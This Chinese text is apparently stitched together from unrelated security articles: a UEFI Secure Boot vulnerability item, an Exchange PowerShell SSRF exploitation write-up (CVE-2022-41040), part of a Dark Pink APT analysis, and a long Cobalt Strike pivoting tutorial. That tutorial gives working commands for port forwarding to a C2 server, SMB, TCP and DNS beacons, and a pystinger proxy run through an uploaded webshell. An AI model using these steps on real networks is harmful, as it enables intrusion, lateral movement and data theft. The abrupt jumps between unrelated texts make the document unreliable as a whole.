早在2022年,研究人員就披露了幾個允許禁用UEFI Secure Boot的UEFI漏洞。許多受影響的設備不再受到OEM的支持,但在聯想消費級筆記本電腦中發現高影響的UEFI漏洞。

在2022年晚些時候,研究人員發現了其他一些UEFI漏洞,這些漏洞也允許攻擊者很容易地禁用UEFI Secure Boot。正如Binarly的研究人員指出的那樣,在警告發布幾個月後,警告中列出的幾個設備都沒有被修復,或者沒有正確地被修復,這使得這些設備容易受到攻擊。與前面的情況類似,一些設備將永遠處於易受攻擊狀態,因為它們已經無法更新。在不遠的將來,有攻擊者會濫用這些漏洞,創建一個能夠在啟用UEFI Secure Boot的系統上運行的UEFIbootkit。

0x00 前言Exchange Powershell基於PowerShell Remoting,通常需要在域內主機上訪問Exchange Server的80端口,限制較多。本文介紹一種不依賴域內主機發起連接的實現方法,增加適用範圍。

注:

該方法在CVE-2022–41040中被修復,修復位置:C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll中的RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress),如下圖

1.png

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

0x02 實現思路常規用法下,使用Exchange Powershell需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

常規用法無法在域外發起連接,而我們知道,通過ProxyShell可以從域外發起連接,利用SSRF執行Exchange Powershell

更進一步,在打了ProxyShell的補丁後,支持NTLM認證的SSRF沒有取消,我們可以通過NTLM認證再次訪問Exchange Powershell

0x03 實現細節在代碼實現上,我們可以加入NTLM認證傳入憑據,示例代碼:

3.png

在執行Exchange Powershell命令時,我們可以選擇pypsrp或者Flask,具體細節可參考之前的文章《ProxyShell利用分析2——CVE-2021-34523》 和《ProxyShell利用分析3——添加用户和文件写入》

pypsrp或者Flask都是通過建立一個web代理,過濾修改通信數據實現命令執行

為了增加代碼的適用範圍,這裡選擇另外一種實現方法:模擬Exchange Powershell的正常通信數據,實現命令執行

可供參考的代碼:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58

代碼使用了Python2,實現了ProxyShell的利用

基於這個代碼,改寫成支持Python3,功能為通過NTLM認證訪問Exchange Powershell執行命令,具體需要注意的細節如下:

1.Python2和Python3在格式化字符存在差異(1)

Python2下可用的代碼:

4.png

以上代碼在Python3下使用時,需要將Str轉為bytes,並且為了避免不可見字符解析的問題,代碼結構做了重新設計,Python3可用的代碼:

11.png

(2)

Python2下可用的代碼:

12.png以上代碼在Python3下使用時,需要將Str轉為bytes,Python3可用的示例代碼:

13.png

(3)

Python2下可用的代碼:

15.png 16.png

以上代碼在Python3下使用時,需要將Str轉為bytes,為了避免不可見字符解析的問題,這裡不能使用.decode('utf-8'),改為使用.decode('ISO-8859-1')

Python3可用的示例代碼:

17.png

2.支持Exchange Powershell命令的XML文件格式XML文件格式示例1:

20.png

對應執行的命令為:Get-RoleGroupMember 'Organization Management'

XML文件格式示例2:

21.png

對應執行的命令為:Get-Mailbox -Identity administrator

通過格式分析,可得出以下結論:

(1)屬性Cmd對應命令名稱例如:

22.png

(2)傳入的命令參數需要注意格式如果只傳入1個參數,對應的格式為:

23.png如果傳入2個參數,對應的格式為:

24.png

如果傳入4個參數,對應的格式為:

25.png為此,我們可以使用以下代碼實現參數填充:

26.png構造XML文件格式的實現代碼:

27.png 28.png 29.png結合以上細節後,我們可以得出最終的實現代碼,代碼執行結果如下圖

Unknown.png

0x04 小結本文介紹了遠程訪問Exchange Powershell的實現方法,優點是不依賴於域內主機上發起連接,該方法在CVE-2022–41040中被修復。

偵察和橫向移動只要受害者組織網絡中的一台設備被攻擊,Dark Pink的下一個目標是收集盡可能多的關於受害者網絡基礎設施的信息。研究人員發現攻擊者對以下內容感興趣:

來自標準實用程序的信息,例如標準實用程序systeminfo的輸出;

來自網絡瀏覽器的信息;

安裝軟件,包括防病毒解決方案;

有關連接的USB設備和網絡共享的信息;

攻擊者還收集了可用於寫入的網絡和USB驅動器列表,然後將這些驅動器用於橫向移動。接下來,攻擊會看到用啟動TelePowerDropper的命令創建一個LNK文件(Windows快捷方式),而不是原始文件。在這個階段,受害者是看不見原始文件的。

攻擊者如何在USB設備上進行橫向移動?首先攻擊者註冊一個新的WMI事件處理程序。從現在開始,每次將USB設備插入受感染的設備時,都會執行一個特定的操作,看到TeleBotDropper下載並存儲在USB設備。讓我們更深入地分析一下這個過程。

1.受害者將USB設備插入受攻擊設備;

2.WMI事件被觸發,並導致從攻擊者的Github帳戶自動下載. zip壓縮文件。這個壓縮文件中有三個文件:Dism.exe,Dism.sys和Dismcore.dll。第一個文件是具有有效數字簽名的合法文件。 DLL文件的功能是從文件Dism.sys中解壓縮原始可執行文件。

3.壓縮文件被解壓縮到%tmp%文件夾,然後將這些文件複製到USB設備,並在其中創建一個名為“dism”的新文件夾。文件夾屬性更改為隱藏和系統;

4.創建一個名為system.bat的文件,其中包含啟動Dism.exe的命令;

5.最後,創建的LNK文件數量與USB驅動器上的文件夾數量相同。原始文件夾的屬性將更改為隱藏和系統。使用命令創建LNK文件,打開explorer.exe中的隱藏文件夾並啟動system.bat。

之後,用戶將看到與USB設備上找到的文件夾同名的LNK文件。一旦用戶打開此惡意LNK文件,TeleBotDropper將通過DLL側加載技術啟動(TeleBotDroper的功能已在上一節中顯示)。結果,讀取註冊表項、解密和啟動TelePowerBot的命令被傳輸到新設備。必須記住,如果USB設備上只有一個文件夾,則此解決方案有效。這就是為什麼我們觀察到不同的實現,例如,在USB設備上創建LNK文件而不是.pdf文件(不僅僅是文件夾)。附錄B中提供了更詳細的工作原理示例,在原始文件的位置創建LNK文件的機制也用於網絡共享。

數據洩露與許多其他類似攻擊一樣,攻擊者通過ZIP壓縮文件洩露數據。在Dark Pink攻擊期間,所有要發送給攻擊者的數據(來自公共網絡共享的文件列表、web瀏覽器數據、文檔等)都堆疊在$env:tmp\backuplog文件夾中。但是,收集和發送過程彼此獨立運行。當受攻擊的設備發出下載$env:tmp\backuplog文件夾的命令時,文件列表將被複製到$env:tmp\backuplog文件夾中,添加到壓縮文件並發送到攻擊者的Telegram木馬。在此步驟完成後,$env:tmp\ backuplo1目錄將被刪除。

攻擊者還可以利用他們自定義的竊取程序Cucky和Ctealer從受攻擊的設備中提取數據。這兩個竊取程序的功能是一樣的。它們可以用來從網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。竊取程序本身不需要任何互聯網連接,因為他們將執行結果(被盜數據)保存到文件中。通過惡意軟件發出的命令,可以從攻擊者的Github帳戶自動下載這兩種竊取程序。用於啟動Cucky的腳本示例見附錄C。

總的來說,Group-IB研究人員發現,Dark Pink通過三個不同的途徑洩露文件。第一種途徑是攻擊者使用Telegram接收文件。當設備被攻擊時,惡意軟件會收集特定文件夾中的信息,並通過一個特殊命令通過Telegram發送。通過擴展,發送給攻擊者的文件是:doc,docx, xls,xlsx,ppt,pptx,pdf,執行此過程的腳本示例可以在附錄D中找到。

除了Telegram, Group-IB還發現了攻擊者通過Dropbox竊取文件的證據。這種方法與通過Telegram進行竊取的方法略有不同,因為它涉及一系列PowerShell腳本,通過使用硬編碼令牌執行HTTP請求,將文件從特定文件夾傳輸到Dropbox帳戶。

Group-IB還發現了一次特別的攻擊,儘管該設備是由攻擊者控制的Telegram方式通過Telegram木馬發出的命令控制的,但一些有趣的文件是通過電子郵件發送的。該命令的示例如下所示。

12.png

數據洩露過程中使用的郵件列表如下所示:

13.png

在這一階段,Group-IB研究人員認為,選擇的洩露方法取決於受害者網絡基礎設施中設置的潛在限制。

逃避技術在他們的攻擊過程中,攻擊者使用了一種已知的技術來繞過用戶帳戶控制(UAC)來更改Windows Defender中的設置。他們通過提升COM接口來做到這一點。所使用的方法並不是唯一的,在不同的編程語言中發現了不同的實現。

14.png

允許繞過UAC的反編譯可執行文件截圖

設置由一個特殊的PowerShell腳本更改,該腳本作為命令接收,並在.NET應用程序中實現。該命令以可執行文件(在base64視圖中)的形式出現,在攻擊時自動從Github下載。可執行文件不會獲得持久性,也不會保存在受攻擊的系統上。可執行文件不會持久存在,也不會保存到受攻擊的系統中。下載和啟動的示例如下所示。

15.png

修改Windows Defender設置的PowerShell命令作為參數傳遞,如下所示:

16.png

PowerShell命令將使用.NET應用程序作為權限升級工具來執行

工具CuckyCucky是在.NET上開發的一個簡單的自定義竊取程序。在調查過程中發現了各種各樣的樣本。分析最多的版本是由Confuser打包的。它不與網絡通信,收集的信息保存在文件夾%TEMP%\backuplog中。 Cucky能夠從目標網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。雖然我們沒有任何與使用被盜數據相關的信息,但我們認為它可以用於訪問電子郵件web客戶端,根據web歷史進行額外的基礎設施偵察,編制組織員工列表,傳播惡意附件,並評估目標設備是真實的還是虛擬的。

Cucky具有從以下瀏覽器竊取數據的功能:

Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, komita, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast瀏覽器,Yandex瀏覽器。

17.png

反編譯的Cucky 竊取程序的截圖

找到的示例包含以下調試信息的路徑:

18.png

CtealerCtealer是Cucky的模擬版本,但是在C/c++上開發的。 TelePowerDropper或攻擊者發出的特殊命令可用於部署Ctealer。工作過程也非常類似於Cucky,因為它還將收集的文件保存到%TEMP%\backuplog文件夾。 Ctealer可以從以下web瀏覽器獲取信息:

Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, komita, Dragon, Torch, Comodo, Slimjet, 360瀏覽器,Maxthon, K-Melon, Sputnik, nicchrorome, CocCoc, Uran, Chromodo, Yandex瀏覽器。

找到的示例包含以下調試信息的路徑:

19.png

TelePowerBot正如我們已經註意到的,每次受攻擊設備的用戶登錄系統時,TelePowerBot都會被啟動。當這種情況發生時,將啟動一個特殊的腳本。腳本讀取另一個regkey的值(例如HKCU\SOFTWARE\Classes\abcdfile\shell\abcd),開始解密並啟動TelePowerBot。加密基於xor,其中密鑰是0到256之間的數組號。在解密之前,原始有效負載將從base64解碼。去模糊化的命令示例如下:

20.png

解密階段不是最終階段,這是一個中間階段,也是基於PowerShell的,並且是高度模糊的。在這個階段,最終腳本已經存儲在階段中,但是它被分割成塊。由此,創建一個base64字符串,解碼後,我們將得到一個ZIP流。最後,TelePowerBot在解壓縮後啟動。

該工具可以與Telegram通道通信,以接收來自攻擊者的新任務。木馬可以與各種受攻擊的設備通信,木馬每60秒檢查一次新命令。在執行過程中,木馬使用兩個註冊表項:HKCU\Environment\Update和HKCU\Environment\guid。第一個存儲最後一個消息id,該消息id由Telegram木馬處理(來自Telegram的參數update_id)。第二個密鑰存儲受攻擊設備的唯一標識。它是在木馬第一次啟動時由命令[guid]:NewGuid()生成的。註冊後,攻擊者就會獲得有關受攻擊設備的各種信息,如ip、guid、設備名稱。 IP地址也通過獲取請求來確定https://ifconfig.me/ip,這些進程也是基於PowerShell命令的,我們將在後面的報告中更深入地討論這些命令。木馬的實施如附錄A所示。

該模塊的一些變體包含用於確保橫向移動的附加功能。所有其他功能都是一樣的。在Group-IB進行分析的情況下,Telegram參數可以硬編碼在腳本中,也可以從註冊表項中讀取。

KamiKakaBotKamiKakaBot是TelePowerBot的. net版本,我們發現它們之間幾乎沒有區別。在讀取命令之前,KamiKakaBot能夠從Chrome, MS Edge和Firefox瀏覽器中竊取。它能夠更新自己,一旦它接收到命令,它可以將參數傳遞給cmd.exe進程。

21.png

詳細說明包含KamiKakaBot的反編譯可執行文件的屏幕截圖

PowerSploit/Get-MicrophoneAudio如上所述,Dark Pink背後的攻擊者幾乎只利用定制工具。然而,為了記錄來自受感染設備的麥克風音頻,他們轉向了公開可用的PowerSploit模塊-Get-MicrophoneAudio。這是通過從Github下載加載到受害者的設備上的。 Group-IB研究人員發現,當攻擊者試圖啟動該模塊時,受害者設備上的防病毒軟件會阻止這一進程。我們發現攻擊者試圖混淆原始的PowerSploit模塊,使其無法被檢測到,但這些都沒有成功。結果,攻擊者返回繪圖板並添加了一個腳本(如下所示),該腳本能夠成功地在受攻擊的設備上錄製麥克風音頻。

22.png

這個簡單的腳本啟動了一個後台任務,它會觸發一個標準實用程序PSR,以每分鐘捕獲一次聲音。錄製的音頻文件將保存在位於臨時文件夾(%TEMP%\record)的ZIP壓縮文件中。文件的命名模板如下:“yyyyMMddHHmmss”。然後,這些音頻文件被一個單獨的腳本洩露,該腳本將它們(作為ZIP壓縮文件)發送給攻擊者的Telegram木馬。

ZMsg(即時通訊工具信息洩露)攻擊者還對從受攻擊設備上的即時通訊工具中竊取數據感興趣。為此,它們能夠執行命令來識別主要的即時通訊工具,如Viber、Telegram和Zalo。在Viber的示例中,這些命令允許攻擊者竊取受攻擊設備上的%APPDATA%\Viberpc文件夾,從而允許他們訪問受害者的消息和聯繫人列表。我們仍在努力評估攻擊者能夠從受攻擊設備上的Telegram賬戶中獲取什麼信息,但Zalo的示例卻非常獨特。

如果受害者的設備上存在Zalo即時通訊工具,攻擊者可以啟動命令從Github下載一個特殊的實用程序(Group-IB稱為ZMsg)。這個實用程序是一個基於FlaUI庫的.NET應用程序,它允許組織在Zalo平台上竊取受害者的消息。 FlaUI是一個幫助Windows應用程序自動UI測試的庫,入口點通常是應用程序或桌面,以生成自動化元素。通過這種方式,可以分析子元素並與其交互。

ZMsg迭代Windows應用程序中的元素,以發現具有特定名稱的元素。例如,帶有消息的元素的名稱為“messageView”。所有收集的信息存儲在%TEMP%\KoVosRLvmU\文件夾中,文件擴展名為.dat和.bin。文件名創建為編碼的十六進製字符串,並根據以下模板生成:

%PERSON_NAME%_%DAY%_%MONTH%_%YEAR%

命令攻擊者通過指定ip、設備名或botid向受攻擊的設備發出命令,還可以同時向所有受感染的設備發出任務。在檢查過程中,我們注意到幾種不同的命令。其中一些命令的功能是重疊的,但它們都基於PowerShell命令。例如,TelePowerBot可以執行一個簡單的標準控制台工具,比如whoami,或者一個複雜的PowerShell腳本。

在攻擊期間,攻擊者執行幾個標準命令(例如net share、Get-SmbShare)來確定哪些網絡資源連接到受攻擊的設備。如果發現網絡磁盤的使用情況,他們將開始探索這個磁盤,以找到他們可能感興趣的文件,並可能對其進行竊取。在上一節中,我們注意到Dark Pink攻擊者如何進行橫向移動。在此活動中,攻擊者還可以攻擊連接到受攻擊設備的USB設備上的文件。下面的腳本詳細說明了攻擊者如何編譯網絡共享和連接到設備的可移動設備的列表。

23.png

攻擊者還可以發出命令,截取受攻擊設備的桌面截圖,並將這些截圖保存在%TEMP%目錄中。然後通過發出下面的命令來下載圖像。

24.png

總結Dark Pink的活動再次證明了魚叉式網絡釣魚活動給組織帶來的巨大危險,因為即使是高度先進的攻擊者也使用這種載體來訪問網絡。

0x01 存在一台中转机器

存在一台中转机器,这台机器出网,这种是最常见的情况。

经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。

拓扑大致如下:

image-20220516141642261.png

上线方法一: SMB Beacon

介绍

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

image.png

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb(smb为我的smb listener名字)

image-20220421232107035.png

使用插件,或自带端口扫描,扫描内网机器

image-20220421234112584.png

转到视图,选择目标

image-20220421234143265.png

使用psexec

image-20220421234333884.png

选择一个hash,选择smb 监听器和对应会话

image-20220421234419445.png

即可上线

image-20220422000337348.png

image-20220422000428622.png

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。

当前是连接状态,你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

image-20220422000410651.png

image-20220422000458483.png

这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link <ip>)去连接它。

上线方法二:中转listener(Reverse TCP Beacon)

其实和方法一是类似的

image-20220422000759017.png

以下内容会自动配置

image-20220422000840172.png

然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

上线方法三:HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理,项目地址:

https://github.com/snail007/goproxy

过程:

1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.创建listener,配置如下

image-20220516163325095.png

4.生成stageless payload,在业务服务器上执行,成功上线

image-20220516163441748.png

连接过程

192.168.111.236192.168.111.131:822192.168.1.88:8080→ C2(192.168.1.89)

上线方法四、TCP Beacon(正向)

  • 正向连接
  • 和SMB Beacon比较类似。也需要一个父beacon
  • SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如: Attacks → Packages 、 Attacks → Web Drive-by )。

测试:

生成一个tcp beacon

image-20220424145301486.png

使用该beacon生成一个stageless形式的木马:

image-20220424145438941.png

上传到目标机器运行:

image-20220424150129703.png

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

image-20220424150307350.png

要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。

image-20220424150527311.png

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。 这里仅简单演示一下:

一般不会将pystinger用在这种场景下

测试环境:

攻击机kali:192.168.1.35

web服务器:192.168.1.70、192.168.111.129

业务服务器:192.168.111.236

过程:

1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8

web服务器外网ip为192.168.1.70

image-20220517181300013.png

上传stinger_server.exe,执行

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020:

image-20220517181223593.png

使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线:

image-20220517182051748.png

image-20220517181145075.png

补充:中转机器为Linux

HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发:

echo 1 >/proc/sys/net/ipv4/ip_forward
iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080

iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131

测试:

中转机器(192.168.111.142)

image-20220423214555465.png

攻击机

image-20220423222203087.png

生成stageless payload,在目标机器上执行,成功上线

image-20220423222359445.png

image-20220423222645751.png

连接过程:(重新截的图,端口改了一下8080->8081)

image-20220423222847432.png

192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2)

使用pystinger进行代理转发

和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

image-20220424110511841.png

CrossC2使用

用来上线Linux或MacOS机器

项目地址: 【一定要下载对应版本的

https://github.com/gloxec/CrossC2

配置:

(我这里在Windows上运行的teamserver)

image-20220517214639195.png

创建个https监听:

image-20220517215034645.png

生成个payload

(用其他方式也可以)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

如果生成不了,也可以直接命令行生成

image-20220517221232018.png

生成之后,上传到Linux机器,运行,即可上线:

image-20220517221438333.png

image-20220517221454859.png

安装CrossC2Kit插件,丰富beacon的功能

image-20220517222854932.png

image-20220517222935500.png

内网机器上线CS:

中转的Linux机器上线之后,即可用上面的方法来上线内网机器。

TCP Beacon:

image-20220517224718810.png

image-20220517224749945.png

上传到目标机器运行。

然后在Linux beacon下连接:

image-20220517225035484.png

上线之后是个黑框,checkin一下就可以了

还是建议使用上面两种方法。

0x02 边缘机器只有DNS协议出网

DNS上线CS

一、准备工作

1)域名 ,godaddy :yokan.xxx
2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.19

image-20220518120029278.png

3)cobalt strike 4.1

二、域名设置

1)设置解析

配置A记录设置成vps的ip,cs也配置在vps上

image-20220518121450765.png
配置几个ns记录 指向刚刚A记录对应的域名

image-20220518122329148.png

配置完成之后ping test.yokan.xxx可以ping通
image-20220518122521793.png

vps上查看53端口占用情况,停掉vps的53端口服务
image-20220518122733717.png

systemctl stop systemd-resolved

image-20220518122856917.png

image-20220518122842743.png

2)cs设置监听

image-20220518123540718.png![image-

都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。

image-20220518123718604.png

3)nslookup查看 ,成功解析:

image-20220518123921308.png

注意:响应的地址74.125.196.113,这个是跟profile里设置的

image-20220518124037907.png

三、cs上线

生成cs的stageless上线马,执行上线

stageless 马 dns有x64版本 , stager没有

image-20220518125111240.png

image-20220518124359454.png

上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserver

image-20220518124416459.png

PS:需要多等一会

image-20220518125128422.png

这样就可以正常交互了:

image-20220518124700940.png

0x03 边缘机器不出网

方法一、TCP Beacon 正向连接

<font color='red'>应用场景:边缘机器各种协议均不出网,但是可以正向访问到。</font >

使用:

先让自己的攻击机上线

image-20220424163629329.png

然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。

image-20220424163851956.png

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

image-20220424164004378.png

方法二、使用pystinger(毒刺)工具

<font color='red'>应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。</font >

项目地址:

https://github.com/FunnyWolf/pystinger

简单原理:

Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs

image-20220517174612140.png

使用

地址:

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了:

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
    start D:/XXX/stinger_server.exe 192.168.3.11
    

    启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
